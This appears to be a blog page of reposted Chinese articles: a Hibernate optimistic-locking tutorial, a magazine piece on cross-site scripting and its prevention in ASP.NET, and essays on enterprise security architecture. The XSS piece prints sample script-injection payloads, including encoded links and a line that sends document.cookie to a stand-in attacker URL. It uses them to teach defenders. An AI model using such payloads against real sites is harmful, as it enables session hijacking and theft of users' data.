从上面的例子可 以看出,乐观锁机制避免了长事务中的数据库加锁开销(操作员 A 和操作员 B 操作过程中,都没有对数据库数据加锁),大大提升了大并发量下的系统整体性能表现。需要注意的是,乐观锁机制往往基于系统中的数据存储逻辑,因此也具备一 定的局限性,如在上例中,由于乐观锁机制是在我们的系统中实现,来自外部系统的用户余额更新操作不受我们系统的控制,因此可能会造成脏数据被更新到数据库 中。在系统设计阶段,我们应该充分考虑到这些情况出现的可能性,并进行相应调整(如将乐观锁策略在数据库存储过程中实现,对外只开放基于此存储过程的数据 更新途径,而不是将数据库表直接对外公开)。
Hibernate 在其数据访问引擎中内置了乐观锁实现。如果不用考虑外部系统对数据库的更新操作,利用 Hibernate 提供的透明化乐观锁实现,将大大提升我们的生产力。
Hibernate 中可以通过 class 描述符的 optimistic-lock 属性结合 version描述符指定。

现在,我们为之前示例中的 TUser 加上乐观锁机制。
1 . 首先为 TUser 的 class 描述符添加 optimistic-lock 属性:
<hibernate-mapping>
<class name="org.hibernate.sample.TUser" table="t_user" dynamic-update="true"
dynamic-insert="true" optimistic-lock="version">
……
</class>
</hibernate-mapping>
optimistic-lock 属性有如下可选取值:
none:无乐观锁
version:通过版本机制实现乐观锁
dirty:通过检查发生变动过的属性实现乐观锁
all:通过检查所有属性实现乐观锁
其 中通过 version 实现的乐观锁机制是 Hibernate 官方推荐的乐观锁实现,同时也是 Hibernate 中,目前唯一在数据对象脱离 Session 发生修改的情况下依然有效的锁机制。因此,一般情况下,我们都选择 version 方式作为 Hibernate 乐观锁实现机制。
2 . 添加一个 Version 属性描述符
<hibernate-mapping>
<class name="org.hibernate.sample.TUser" table="t_user" dynamic-update="true" dynamic-insert="true"
optimistic-lock="version">
<id name="id" column="id" type="java.lang.Integer">
<generator class="native">
</generator>
</id>
<version column="version" name="version" type="java.lang.Integer"/>
……
</class>
</hibernate-mapping>
注意 version 节点必须出现在 ID 节点之后。这里我们声明了一个 version 属性,用于存放用户的版本信息,保存在 TUser 表的version 字段中。
此时如果我们尝试编写一段代码,更新 TUser 表中记录数据,如:
Criteria criteria = session.createCriteria(TUser.class);
criteria.add(Expression.eq("name","Erica"));
List userList = criteria.list();
TUser user =(TUser)userList.get(0);
Transaction tx = session.beginTransaction();
user.setUserType(1); // 更新 UserType 字段
tx.commit();
每次对 TUser 进行更新的时候,我们可以发现,数据库中的 version 都在递增。而如果我们尝试在 tx.commit 之前,启动另外一个 Session ,对名为 Erica 的用户进行操作,以模拟并发更新时的情形:
Session session= getSession();
Criteria criteria = session.createCriteria(TUser.class);
criteria.add(Expression.eq("name","Erica"));
Session session2 = getSession();
Criteria criteria2 = session2.createCriteria(TUser.class);
criteria2.add(Expression.eq("name","Erica"));
List userList = criteria.list();
List userList2 = criteria2.list();TUser user =(TUser)userList.get(0);
TUser user2 =(TUser)userList2.get(0);
Transaction tx = session.beginTransaction();
Transaction tx2 = session2.beginTransaction();
user2.setUserType(99);
tx2.commit();
user.setUserType(1);
tx.commit();
执行以上代码,代码将在 tx.commit() 处抛出 StaleObjectStateException 异常,并指出版本检查失败,当前事务正在试图提交一个过期数据。通过捕捉这个异常,我们就可以在乐观锁校验失败时进行相应处理。

Continue reading 【转】Hibernate的乐观锁与悲观锁

【转】跨站脚本XSS–褚诚云

跨站脚本XSS–褚诚云

630 views, 安全防护, by Neeao.
《程序员》文章。申明。文章仅代表个人观点,与所在公司无任何联系。
1.概述
跨站脚本Cross-Site ScriptingXSS)是最为流行的Web安全漏洞之一。据统计,2007年,跨站脚本类的安全漏洞的数目已经远远超出传统类型的安全漏洞【1】。那么,什么是跨站脚本?它的危害性是什么?Web开发人员如何在开发过程中避免这类的安全漏洞?就是我们这篇文章要讨论的内容。
2.什么是跨站脚本
2.1 跨站脚本介绍

[PS:这里讲怎样进行xss攻击讲的还是不太清楚,见http://kazge.com/archives/802.html 。]
跨站脚本,就是攻击者可以将恶意的脚本代码注入到用户浏览的其它网页上。它有好几种类型。其中最为普遍的类型称为反射类(Reflection)的跨站脚本。让我们来看下面这个例子来具体说明XSS的机理。
以一个简单的ASP网页举例。这个ASP网页的目的很简单:用户输入自身名字,ASP动态产生一个“hello world”的网页。
testXSS.html
<html>
<head> <title>XSS Test Page</title> </head>
<body>
<form action=”testXSS.asp” method=”GET”>
XSS-test page. <br>
Please enter your name:
<input type=”text” name=”txtName” value=”"></input>
<input type=”submit” value=”Hello”></input>
</form>
</body>
</html>
当用户浏览到这个网页时,就会显示:
输入用户的名字,例如foo。点击Hello,就会产生以下ASP请求:
http://<server-url>/testXSS.asp?txtName=foo
下面是后台ASP的代码,
testXSS.asp
<html>
<head> <title>XSS Test Result ASP page</title> </head>
<body>
<%
Response.Write(“Hello world! “)
Response.Write(Request.QueryString(“txtname”))
%>
</body>
</html>
动态生成的ASP网页就是:
这个ASP应用很简单,看上去没有任何功能上的问题。但是,它确存在着一个非常典型的反射类的跨站脚本漏洞。下面我们来看看攻击者是如何利用的。
在用户姓名栏中输入脚本信息:
<script>alert(“script injection\n”+document.cookie);</script><body>
发出的ASP的请求就是:
http://<server-url>/testXSS.asp?txtName=%3Cscript%3Ealert%28%22script+injection%5Cn%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E
那么,动态生成的ASP 网页中就包括了攻击者插入的脚本
<html>
<head> <title>XSS Test Result ASP page</title> </head>
<body>
Hello world! <script>alert(“script injection\n”+document.cookie);</script>
</body>
</html>
用户的Browser就会弹出以下窗口:
跨站脚本除了Reflection类型外,还有其它几种类型,例如基于DOM的跨站脚本和存储型的跨站脚本,限於篇幅,这里就不详细讨论了。有兴趣的读者可以参见【1】。
3. 跨站脚本的危害性
看了上面这个XSS的例子,那么XSS的造成的危害在哪里?下面我们通过一些问答来阐述XSS的危害性。
提问1:这不是攻击者自己键入的脚本在自己的浏览环境中执行吗?
其实不然,XSS的攻击手段是诱使用户点击email或网页中的URL链接,例如下面这个URL链接:
http://<server-url>/testXSS.asp?txtName=%3Cscript%3Ealert%28%22script+injection%5Cn%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E
这样,当一个普通用户点击的这个链接的时候,攻击者的脚本就可以在这个被攻击用户的浏览环境中执行了。
提问2:上面这个链接也太可疑了。脚本直接显示在URL中,一般的用户可能是不会点击的吧?
没错。但是在真正的攻击中,以上的script会以不同的形式编码,例如下面这种链接:
http:// <server-url>/testXSS.asp?txtName=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%73%63%72%69%70%74%20%69%6E%6A%65%63%74%69%6F%6E%5C%6E%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3B%3C%2F%73%63%72%69%70%74%3E
对于这种链接,许多普通用户可能就直接点击了。尤其是如果Server-url是自己经常访问的网站的话
提问3:只是显示了document.cookie有什么危害?
如果只是显示cookies的话,当然不会造成任何影响。但是,上面这个例子只是一个示范。在真正的攻击中,往往会将用户的cookies直接发送到攻击者控制的网站。例如使用以下脚本:
<script>document.location=’http://<badguy-url>/cgi-bin/cookie.cgi? ‘%20+document.cookie</script>
提问4:窃取了document.cookie又有什么危害?
这就要从浏览器安全的基本原则:同源原则SOPSame-origin policy)讲起。简要的说,SOP意味着一个域的文档或脚本,在未经用户批准的情况下,不能获取或修改另一个域的文档的属性。为什么需要SOP?你肯定不希望在访问www.bad-url.com的时候它里面的脚本可以阅读www.hotmail.coml中的内容。
基于SOP,一个域存放的Cookie只能和该域的服务器打交道。例如,hotmailCookie只能给 hotmail服务器使用。其它任何网站都不能获取这个Cookie
正因为Cookie的这个特性,在许多Web应用的设计上,都是先用https来验证用户的登录名和密码,然后发送一个特殊的Session Cookie来代表用户验证过的身份。举个例子,如果hotmail存在在XSS漏洞,一个用户的hotmailsession cookie就可能被攻击者获取。攻击者然后就可以用这个session cookie,以这个用户的身份访问hotmail,从而造成敏感信息的泄漏(information disclosure)。
这一点不仅限于cookie,如果有xss漏洞,则可以使用跨站脚本,当合法用户操作时执行了恶意站点的代码。参见
http://www.laabc.com/?p=18356
4.如何避免XSS安全漏洞
虽然在IE8中引入了客户端的XSS过滤器以减少XSS对用户造成的危害,但是XSS本质上是Web应用服务的漏洞,仅仅依赖客户端的保护措施是不够的。解决问题的根本是在Web应用程序的代码中消除XSS安全漏洞。
以下是在Web应用的开发中避免XSS安全漏洞的几个原则:

  • 检查所有产生动态网页的代码
  • 判定动态网页的内容是否包括不安全的输入信息
  • 对输入进行校验
  • 对输出进行编码以过滤特殊字符

采用不同的Web开发工具,实施以上原则的具体步骤也不相同。下面我们就用微软的ASP.NET来举例。
设想如下的ASP.net应用【2】:
<%@ Page Language=”C#” ValidateRequest=”false” %>
<html>
<script runat=”server”>
void btnSubmit_Click(Object sender, EventArgs e)
{
// If ValidateRequest is false, then ‘hello’ is displayed
// If ValidateRequest is true, then ASP.NET returns an exception
Response.Write(txtString.Text);
}
</script>
<body>
<form id=”form1″ runat=”server”>
<asp:TextBox id=”txtString” runat=”server”
Text=”<script>alert(‘hello’);</script>” />
<asp:Button id=”btnSubmit” runat=”server”
OnClick=”btnSubmit_Click”
Text=”Submit” />
</form>
</body>
</html>
细心的读者可能注意到上面有一个特殊的设置ValidateRequest=”false”。我们以后会对它详细说明。
检查所有产生动态网页的代码
ASP.net有两种方式产生动态网页。一个是通过Response.Write,一个是通过<%=
判定动态网页的内容是否包括用户输入的信息
例如,检查Response.write的输出数据的来源。上例中它的数据源于txtString,是源自用户的输入数据。
验证用户的输入
ValidateRequest选项
缺省情况下,在ASP.NETmachine.config文件中,validateRequest选项是打开的。ASP.NET会自动对用户输入作一定的验证。
例如,当ValidateRequest的值为true的话,如果用户输入txtstring的值为<script>alert(‘hello’);</script>ASP.NET会有产生如下异常信息:
HttpRequestValidationException (0×80004005): A potentially dangerous Request.Form value was detected from the client (txtString=”<script>alert(‘hello…”).]
System.Web.HttpRequest.ValidateString(String s, String valueName, String collectionName) +3307682
System.Web.HttpRequest.ValidateNameValueCollection(NameValueCollection nvc, String collectionName) +108
System.Web.HttpRequest.get_Form() +119
System.Web.HttpRequest.get_HasForm() +3309630
System.Web.UI.Page.GetCollectionBasedOnMethod(Boolean dontReturnNull) +45
System.Web.UI.Page.DeterminePostBackMode() +65
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +7350
System.Web.UI.Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +213
System.Web.UI.Page.ProcessRequest() +86
System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext context) +18
System.Web.UI.Page.ProcessRequest(HttpContext context) +49
需要强调的一点是:ValidateRequest只是ASP.NET提供的深层防御手段(Defense-in-Depth)。Web开发中不能仅依赖它,而没有专门的对输入的校验代码。
对不安全输入信息的校验。

  • 校验来自服务器端控制的输入,可以考虑使用 ASP.NET中的 RegularExpressionValidator RangeValidator.
  • 校验来自客户端HTML的输入,例如QueryString,客户端的输入控制,Cookie等等,可以考虑使用System.Text.RegularExpressions.Regex类用正则表达式来验证。
  • 验证其它非字符串的类型,如整数,日期,货币单位等等,可以考虑用.NET Framework数据类型校验。

有兴趣的读者可以参考【3】获取进一步的信息。
对输出进行编码以过滤特殊字符
当需要将一个字符串输出到Web网页时,但又不能完全确定这个字符串是否包括HTML的特殊字符,例如“<,>,&”等等,可以使用编码(HTMLEncode)以过滤这些特殊字符。
有以下两种HTMLEncode 手段
使用ASP.NET自身支持的HttpUtility
例如:
Response.Write(HttpUtility.HtmlEncode(Request.Form["name"]));
使用微软提供的反跨站脚本库Microsoft Anti-Cross Site Scripting Library V1.5 – AntiXss)。
AntiXSS是一个单独下载的软件库。开发人员可以从http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en直接下载。
AntiXss的使用方式与HttpUtility类似:
String Name = AntiXss.HtmlEncode(Request.QueryString["Name"]);
那么HttpUtilityAntiXss的区别是什么?开发人员应该使用哪一种?
它们最大的区别在于HttpUtility.HtmlEncode采用的是黑名单验证(Black list)方式。即HttpUtility.HtmlEncode仅仅过滤它知道的特殊字符,而允许其它的输入。AntiXss.HtmlEncode采用的白名单验证(White list)方式。它只允许输出它认为合法的字符,而过滤掉其它的所有字符。
两者中,AntiXss.HtmlEncode要更为安全,是推荐的使用手段。关于AntiXss的进一步信息,读者可以参考【4】。
HttpOnly  Cookie
HttpOnly cookie是一种对抗XSS安全漏洞的深层防御手段。
Web应用可以通过设置如下的Http Respone头信息将Cookie的属性设为HttpOnly
Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly
IE6 SP1版本后就会确保客户端的脚本不能使用属性设为HttpOnly Cookie。从而可以有效的降低XSS安全漏洞的危害程度。当然,如果用户使用非IE浏览器,HttpOnly就无效了。关于HttpOnly Cookie的进一步信息,读者可以参考【5】。
5.总结
跨站脚本XSS是最为常见的一类Web安全漏洞。它会导致用户敏感信息的丢失。Web开发人员在开发过程中应采取必要的校验和编码手段来避免XSS安全漏洞。
6.参考文献

  1. Cross-site scripting, http://en.wikipedia.org/wiki/Cross-site_scripting, Wikipedia
  2. How To: Prevent Cross-Site Scripting in ASP.NET, http://msdn.microsoft.com/en-au/library/ms998274.aspx#paght000004_step2, Microsoft
  3. How To: Protect From Injection Attacks in ASP.NET, http://msdn.microsoft.com/en-au/library/bb355989.aspx, Microsoft
  4. Microsoft Anti-Cross Site Scripting Library V1.5: Protecting the Contoso Bookmark Page, http://msdn.microsoft.com/en-us/library/aa973813.aspx, Microsoft
  5. Mitigating Cross-site Scripting With HTTP-only Cookies, http://msdn.microsoft.com/en-us/library/ms533046.aspx, Microsoft

Tags: XSS

Continue reading 【转】跨站脚本XSS–褚诚云

【参考】设计企业信息系统的安全体系

设计企业信息系统的安全体系

                            
     一项建筑工程实施的依据是它的建筑蓝图,是一张张的图纸,这些图纸是经过许多建筑师、设计师分析地理位置、土质、风向、空气湿度、供电、供水、建材类型、 强度、造型等多种因素,并经过多番论证才得出的成果,里面包含了很多智慧的结晶。同样,信息网络系统的安全工程也需要一个构建蓝图,一个实施依据,否则就 会没有结果或者结果只是一些“豆腐渣”工程。
安全体系是安全工程实施的指导方针和必要依据,它的质量也决定了安全工程的质量。所以,应把安全体系的设计提升到一定的高度,确保安全体系的可靠性、可行性、完备性和可扩展性。

一、好的安全体系
    具有什么特征?
    为了保证安全体系的实用性,在设计安全体系时,必须遵循以下四项原则:
    (1) 体系的安全性:设计安全体系的最终目的是为安全工程提供一个可靠的依据和指导,保护信息与网络系统的安全,所以安全性成为首要目标。要保证体系的安全性, 必须保证体系的可理解性、完备性和可扩展性。
    (2) 体系的可行性:设计体系不能纯粹地从理论角度考虑,再完美的方案,如果不考虑实际因素,那么也只能是一些废纸。设计安全体系的目的是指导安全工程的实施, 它的价值也体现在所设计的工程上,如果工程的难度太大以至于无法实施,那么体系本身也就没有了实际价值。
    (3) 系统的高效性:信息与网络系统对安全提出要求的目的是能保证系统的正常运行,如果安全影响了系统的运行,那么就需要进行权衡了。信息网络系统的安全体系包 含一些软件和硬件,它们也会占用信息网络系统的一些资源。因此,在设计安全体系时必须考虑系统资源的开销,要求安全防护系统本身不能妨碍信息网络系统的正 常运转。
    (4) 体系的可承担性:安全体系从设计到工程实施以及安全系统的后期维护、安全培训等各个方面的工作都是由对象单位来支持的,单位要为此付出一定的代价和开销。 如果单位要付出的代价比从安全体系中获得的利益还要多,那么单位就不会采用这个方案。所以,在设计安全体系时,必须考虑单位的实际承受能力。

二、安全体系
    包括什么内容?
    一个完整的安全体系应该包含以下几个基本的部分,根据具体情况的不同,可以在此基础上进行修剪或扩展。
    (1) 风险管理:研究信息系统存在的漏洞缺陷、面临的风险与威胁,这可以通过安全风险评估技术来实现;对于可能发现的漏洞、风险,规定相应的补救方法,或者取消一些相应的服务。
           (2)行为管理:对网络行为、各种操作进行实时的监控;对各种行为进行分类管理,规定行为的范围和期限。
    (3) 信息管理:信息是it业的重要资产,由于它的特殊性,因此必须采用特殊的方式和方法进行管理,根据具体的实际情况,对不同类型、不同敏感度的信息,规定合适的管理制度和使用方法,禁止不良信息的传播。
    (4) 安全边界:信息系统与外部环境的连接处是防御外来攻击的关口,根据企业具体的业务范围,必须规定系统边界上的连接情况,防止非法用户的入侵以及系统敏感信息的外泄,如可以利用防火墙对进出的连接情况进行过滤和控制。
    (5) 系统安全:操作系统是信息系统运行的基础平台,它的安全也是信息安全的基础。根据具体的安全需求,应该规定所要采用的操作系统类型、安全级别以及使用要求。为了实现这个目的,可以采用不同安全级别的操作系统,或者在现有的操作系统上添加安全外壳。
    (6) 身份认证与授权:信息系统是为广大用户提供服务的,为了区分各个用户以及不同级别的用户组,需要对他们的身份和操作的合法性进行检查。体系应该规定实现身份认证与权限检查的方式、方法以及对这些用户的管理要求。
    (7) 应用安全:基于网络信息系统的应用有很多,存在的安全问题也很多。为了保证安全,应该根据安全需求规定所使用的应用的种类和范围,以及每一种应用的使用管理制度。
    (8) 数据库安全:保护数据库的安全一直是一个核心问题。为了达到这个目的,需要规定所采用的数据库系统的类型、管理、使用制度与方式。
    (9) 链路安全:链路层是网络协议的下层协议,针对它的攻击一般是破坏链路通信,窃取传输的数据。为了防御这些破坏、攻击,需要规定可以采取的安全措施,如链路加密机。
          (10) 桌面系统安全:桌面系统包含着用户能够直接接触到的信息、资源,也是访问信息系统的一个入口,对它的管理和使用不当也会造成敏感信息的泄露。所以,需要对各个用户提出使用桌面系统的安全要求,进行必要的安全保护。
    (11) 病毒防治:随着网络技术和信息技术的发展,各种各样的病毒泛滥成灾,严重威胁着信息财产的安全。为了避免因为病毒而造成的损失,必须制定严格的病毒防护制度,减少、关闭病毒的来源,周期性对系统中的程序进行检查,利用病毒防火墙对系统中的进程进行实时监控。
    (12) 灾难恢复与备份:不存在绝对安全的安全防护体系,为了减少由于安全事故造成的损失,必须规定必要的恢复措施,能够使系统尽快地恢复正常的运转,并对重要的信息进行周期性的备份。
    (13) 集中安全管理:为了便于安全体系的统一运转,发挥各个功能组件的功能,必须对体系实施集中的管理。因此,需要制定科学的管理制度,成立相应的管理机构。

三、别忘了评估您的安全体系
     由于安全体系的质量直接决定着安全工程的质量,因此,必须对安全体系进行严格的审查分析。在安全体系设计之后,需要聘请专家对体系的质量进行评审,并对评 审结果进行论证,对发现的不妥之处及时修正,这样才能保证体系的质量。为了保证评审结果的可靠性,所聘请的专家必须是第三方的。
     一个好的安全防护体系包括以下几个特点:结构的合理性及可扩展性、内容的完备性、组织上的可行性与安全性。对安全体系的质量进行评估也就是检验体系是否达 到了这几项要求。世界上没有一个通用的安全体系,某个信息网络系统的安全体系是针对该系统本身而言的,它不能用于另外的某个系统。所以,在设计安全体系 时,在一定的理论指导下,要结合具体的实际情况进行研究分析。要考察的实际情况主要是风险分析与评估、安全需求分析的内容,安全体系的设计是完整的信息安 全工程学中的一个环节,是以风险分析与评估、安全需求分析为基础的。

----------------------------------------------------------------------------------------------------------------------
浅析企业信息系统的安全与防范措施

摘  要:随着计算机技术与通信技术的高速发展,信息安全在企业中扮演着越来越重要的角色,为此,笔者从企业信息系统所面临的安全威胁以及企业信息系统安全运行应当采取的防范措施两方面进行了探讨。
       关键词:信息系统安全;防火墙技术;防范
       随着计算机技术与通信技术的飞速发展,信息安全已成为制约企业发展的瓶颈技术,进而使得企业对信息系统安全的依赖性达到了空前的程度,但是企业在享受着信息系统给公司带来巨大经济效 益的同时,也面临着非常大的安全风险。一旦企业信息系统受到攻击而遭遇瘫痪,整个企业就会陷入危机的境地。特别是近几年来全球范围内的计算机犯罪,病毒泛 滥,黑客入侵等几大问题, 使得企业信息系统安全技术受到了严重的威胁。因此,这就使得企业必须重新审视当前信息系统所面临的安全问题, 并从中找到针对 企业的行之有效的安全防范技术。为此,笔者首先分析了现代企业所面临的信息系统安全问题,然后提出了企业应当采取的相应防范措施。
       1企业信息系统所面临的安全威胁
       企业在信息系统的实际操作过程中,威胁是普遍存在且不可避免的。一般来说威胁就是企业所面临的潜在的安全隐患。个人电脑只通过一个简易的应用便可以满足普通 用户的要求,但是企业的信息系统一般都要充当多个角色,基本上都得为多个部门提供服务,其中任何一个局部的隐患都可能给整体的安全性带来致命的打击。正是 由于企业信息安全系统本身所固有的这些缺陷,必然会导致病毒与黑客的容易盛行。目前,影响企业系统安全的因素各种各样,但是其主要的威胁可以归结为以下几 个方面:
       ①黑客的蓄意攻击:随着信息技术的普及,企业一般都会利用互联网接入来加速提高本公司业务与工作绩效,黑客的恶意攻击 行为无疑会成为阻碍这一进程发展最大也最严重的威胁。其中,有来自竞争公司的幕后黑手,或者来自对本企业有怨恨情绪的员工,以及对该企业持不满态度的顾客 等,出于不同目的或报复情绪都可能对企业网络进行破坏与盗 窃。另外,一个更严重的问题——网络敲诈,正有逐步提升的趋势。许多不法分子利用木马、病毒、间谍软件,或者dos 攻击等非法方式对企业网络进行破坏或 盗用企业数据,并以此作为向企业敲诈勒索的交换条件,由于大部分企业普遍存在着信息安全环等薄弱问题,因此很多企业都成为这种违法行为最大的受害者。
       ② 病毒木马的破坏:现今的互联网已基本成为了一个病毒肆虐生长繁殖的土壤,几乎每一天都会有上百种新的病毒或者木马产生,而在很大部分企业中,安全技术不 足,管理设备松散、员工安全意识淡薄等问题的存在进一步滋长了病毒、蠕虫、木马等的危害,严重时甚至有可能造成整个企业网络的瘫痪,导致企业业务无法正常 进行。
       ③员工对信息网的误用:如企业技术员工由于安全配置不当引起的安全漏洞,员工安全意识薄弱,用户密码选择不恰当,将自己的账户名与口令随意告诉他人或与别人共享都会对信息系统安全带来威胁。
       ④技术缺陷:由于当前人类认知能力和技术发展的有限性,要想使硬件和软件设计都达到完美没有缺陷,基本上不可能。其次,网络硬件、软件产品多数依靠进口等这些隐患都可能可造成网络的安全问题。
       2企业信息系统安全运行的防范措施
       企业信息系统安全运行的防范措施是企业信息系统高效运行的方针,其能在很大程度上确保信息系统安全有效的运行。相应的企业安全运行的措施一般可以分为以下几类:
       ① 安全认证机制:安全认证机制是确保企业信息系统安全的一种常用技术,主要用来防范对系统进行主动攻击的恶意行为。安全认证,一方面需要验证信息发送者的真 实性,防止出现不真实;另一方面可以防止信息在传送或存储过程中被篡改、重放或延迟的可能。一般来说,安全认证的实用技术主要由身份识别技术和数字签名技 术组成。
       ②数据的加密以及解密:数据的加密与解密主要是用来防止存储介质的非法被窃或拷贝,以及信息传输线路因遭窃听而造成一些重要数据的泄漏,故在系统中应对重要数据进行加密存储与传输等安全保密措施。加密是把企业数据转换成不能直接辨识与理解的形式;而解密是加密的逆行式即把经过加密以后的信息、数据还原为原来的易读形式。
       ③入侵检测系统的配备:入侵检测系统是最近几年来才出现的网络安全技术,它通过提供实时的入侵检测,监视网络行为并进而来识别网络的入侵行为,从而对此采取相应的防护措施。
       ④采用防火墙技术:防火墙技术是为了确保网络的安全性而在内部和外部之间构建的一个保护层。其不但能够限制外部网对内部网的访问,同时也能阻止内部网络对外部网中一些不健康或非法信息的访问。
       ⑤加强信息管理:在企业信息系统的运行过程中,需要要对全部的信息进行管理,对经营活动中的物理格式和电子格式的信息进行分类并予以控制,将所有抽象的信息记录下来并存档。
       3结语
       总 之,企业信息系统的安全问题将会越来越得到人们的重视,其不但是一个技术难,同时更是一个管理安全的问题。企业信息系统安全建设是一个非常复杂的系统工 程。因此,企业必须综合考虑各种相关因素,制定合理的目标、规划相应的技术方案等。笔者相信,信息安全技术必将随着网络技术与通信技术的发展而不断得到完善。


----------------------------------------------------------------------------------------------------------------------------

武钢信息安全体系的建立与实践


作为新中国成立后兴建的第一个特大型钢铁联合企业,武汉钢铁(集团)公司拥有从矿山采掘、炼焦、炼铁、炼钢、轧钢及配套公辅设施等一整套先进的钢铁 生产工艺设备,生产规模逾3000万吨,居世界钢铁行业第七位,国内第三位。近年来,随着武钢信息化平台的高度发展,武钢的业务运营对信息系统的依赖性越 来越高,信息系统的安全运行成为影响武钢研发,生产、销售的首要问题。
一、武钢信息安全需求
武钢信息系统是武钢信息化战略的主要载体,为武钢集团各项业务活动以及生产管理控制活动提供了重要服务。现在,武钢已经形成了以公司主干网为核心运行平 台、产销资讯系统为核心应用、各单位为基本用户的运行模式,其用户分布在武钢各生产、管理职能部门。作为武钢业务运营命脉的整体产销资讯系统主要包含九大 系统:型线棒产销管理系统、硅钢产销管理系统、储区优化管理系统、客户关系及电子商务管理系统、物流供应链含理系统、设备及工程管理系统、决策支持管理系 统、电能无线计虽管理系统和信息门户管理系统。其特点是集生产、办公、管理于一体,使得武钢能够提高工作效率及客户满意度,降低成本,加强了企业的市场竞 争力。
在武钢信息化水平达到一定高度后,信息安全问题也随之而来。作为国务院信息化工作办公室推选的ISO/IEC27001信息安 全体系企业试点单位,武钢对安全的理解也实现了从网络安全到信息安全的跨越。从2004年的信息安全风险评估项目到2005年的信息安全加固项目;从到 2007年的武钢主干站点综合防护项目,到2009年的武钢防病毒及桌面管理系统升级项目和武钢主干站点综合扩点等项目,武钢信息安全体系建设的脚步越走 越稳。
二、风险评估和整体规划
保障信息安全,首先要明确安全目标,界定安全 边界,进而建立信息安全保障的管理和运行体系,达到融安全管理于日常工作的效果。因此,首先需要对武钢进行整体的信息安全风险评估。武钢风险评估的目标是 根据调查分析的结果,结合武钢信息系统的实际情况,分析系统面临的各项威胁因素;综合信息系统关键资产重要性、安全需求、现有防护措施等,评估各项威胁对武钢信息系统造成的影响,并根据影响的大小提出需要进行考虑的安全策略。
通过信息安全风险评估,我们识别出对武钢产销系统和骨干网影响最大的三个信息安全威胁是:混合型病毒和恶意代码;外部人员通过网络实施对信息系统的入侵攻击;内部人员通过网络的直接入侵和不规范操作。
根据风险评估结论,同时结合武钢信息系统实际情况,参考ISO27001、COBIT等国际、国家相关标准,一套适合武钢发展的、先进的安全技术体系结 构得以提出。在规划设计时,遵循安全策略中“深度防御战略”的多层防护原则,覆盖武钢信息系统中的主干网、公司级应用、接入单位系统等,主要从调整公司服 务器部署、提高安全性、增强网络安全保护、利用现有设备和新增防火墙进行网络安全域划分与加强访问控制来保护重要单位、网络综合监管平台构建(网络设备日 志、流量等)、微软操作系统补丁分发与更新与漏洞检查、公司重要服务器审计及安全策略配置加固以及终端配置管理、接入管理等方面着手。通过此次安全规划, 武钢提出了安全整体策略规划、运行安全规划、技术安全规划三份完整详尽的安全规划报告,以及切实可行的信息安全整体规划。
三、信息安全技术体系建设框架
在信息系统安全体系结构中,信息的安全主要依赖于信息基础设施对关键信息的处理、存储和传输的安全的保护。信息保障依赖人、操作和技术来实现组织的任 务、业务运作。针对技术、信息基础设施的管理活动同样依赖于这三个因素。稳定的信息保障体系意味着信息保障的政策、步骤,技术与机制在整个组织的信息基础 设施的所有层面上均得以实施。为了实现“深度防御”目标,需要在网络基础环境安全,边界安全、计算环境安全和支撑性安全基础设施四个方面进行设计。总体安 全技术体系框架如下图所示:
根据上述技术体系框架,公司逐步实施了一系列信息系统安全项目,这些项目都顺利完成,并且达到了预期的安全目标。
四、信息安全体系约束下的应用实践
2005年1月,武钢正式按照技术安全规到进行了产销系统和骨干网的安全加固工程。
在这次工程中,武钢对公司网络做了优化,实现路由双核心.以及站点用户访问大型机数据的链路冗余。对访问Internet擞据和访问大型机数据的路径进 行分离,同时采用路由过滤和屏蔽功能,来防止非法路由条目扩散到核心而引起路由冲突。利用封锁部分常用蠕虫病毒端口及封锁发往私有地址空间的数据,保证了 网络带宽的有效利用。
通过Symantec SESA事件分析系统的应用,从现有的防病毒服务器中获取数据进行分析。该系统有病毒排行、中毒机器排行、用户中毒排行等功能,能辅助对接入用户的管理以及病毒肪范行动决策。
武钢还对区城何防火墙进行了安装部署。通过控制Dialup区域路由器拨号用户的接入、VPN1区域路由器的接入,来实施访问控制安全策略,以限定访问 的主机范围和服务。通过外单位区城划分来实施访问控制安全策略以限定外单位用户访问的内网主机范围和服务。保护CRM系统通过设里访问控制安全策略以限定 访问的主机范围和服务。
通过区域间IDP系统的部署,在网络关键位置部署入侵俭测与防护设备,实时对网络中的协议和流最进行异常检测,及时发现和阻断网络中存在的攻击行为,确保了关键应用服务器的安全。
通过网络审计系统,实时监控审计网络中对OA, HR等服务器的HTTP、TELNET及FTP各类应用服务,在实时监控的同时也方便了事后取证。
通过访问控制系统.对于移动VPN用户访问OA、HR等企业重要数据连接进行加密、认证和用户级别的授权
补定更新系统的应用使得管理人员能及时获得所有已知安全问网的修补程序,并把这些修补程序及时分发到所有的客户机。
武钢还对主机服务器进行了加固,根据需要加固的内容,消除系统已知的漏洞或降低系统存在的风险。加固后,可以加强服务器的抗病毒及防止非法入侵的能力。 通过停用某些不必要的服务,消除系统的部分漏洞;通过增强服务器的安全配置,提高系统的安全性;通过软件升级或者安装补丁,加强系统的安全性.
网络管理系统实现了武钢主干网拓扑管理、武钢网络性能管理以及武钢网络设备监控。
桌面管理系统的应用为各厂网络管理员的管理工作提供协助,在管理中心,对本单位终端设备的实时监管。规范了客户机的操作,使非正常程序和软件无法在客户 机上运行,并且使客户机无法违规外联访问Internet,同时远程协助功能也能帮助管理员进行客户机的远程维护操作。
另外,武钢还有一套反垃圾邮件系统,部署在邮件服务器前端,进行垃圾邮件及病毒邮件的过滤和转发。该项目实施后从根本上提高了武钢信息系统的安全性,解决了当时武钢网络中存在的显著问题,完成了风险评估后的安全规划内容,为武钢信息安全体系的完善和发展打下坚实基础。
